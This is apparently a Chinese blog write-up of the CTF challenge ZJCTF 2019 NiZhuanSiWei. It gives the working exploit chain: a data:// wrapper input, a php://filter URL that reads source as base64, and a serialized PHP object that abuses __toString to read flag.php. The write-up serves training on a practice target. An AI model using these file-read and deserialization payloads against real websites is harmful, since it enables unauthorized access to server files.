ZJCTF 2019NiZhuanSiWei
本文最后更新于175 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

Pasted image 20241129214223.png

Pasted image 20241129214236.png

分析代码:
我们需要GET三个参数分别是:text,file,password
首先需要检查是否对text传一个文件,并且文件内容要是welcome to the zjctf,才能进行下一步,因为有文件包含函数,可以使用php伪协议
data://text/plain,welcome to the zjctf
成功进入下一个条件
Pasted image 20241129221016.png

下一个条件是,检查file 传进来的参数是否有flag,有的话,就输出Not now ,然后退出程序,没有的话就进入下面的命令。

发现旁边有一个注释//useless.php文件
使用php://filter读取文件内容
?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

Pasted image 20241129234553.png

解码
<?php

class Flag{ //flag.php
public file; public function __tostring(){ if(isset(this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
可以看到这个PHP源码,对源码进行分析,可以知道,它定义了一个
叫做Flag的类,里面含有一个一叫: _tostring()的魔术方法
里面执行了文件包含,所以我们就可以在这利用这个点查看
flag.php文件。
__tostring()魔术方法是要当类做为字符串输出时触发。

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

Pasted image 20241130002209.png

Pasted image 20241130002222.png

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:
"Flag":1:{s:4:"file";s:8:"flag.php";}

总结

  • php伪协议
    data:// php://filter
  • 反序列化
  • _tostring()魔法函数:当类做为字符串输出时触发
文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇